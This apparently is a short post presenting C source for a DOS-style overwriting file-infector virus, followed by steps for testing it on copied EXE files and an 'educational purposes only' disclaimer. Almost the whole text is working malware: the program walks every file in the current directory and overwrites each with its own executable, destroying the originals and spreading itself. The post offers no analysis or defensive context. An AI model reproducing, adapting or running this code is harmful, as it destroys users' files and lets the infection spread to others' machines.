This program is an example of how to create a virus in c

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],"rb");
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}



dont run in ur computer

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4.All the infected files will be ready to reinfect

That's it
WARNING: FOR EDUCATIONAL PURPOSES ONLY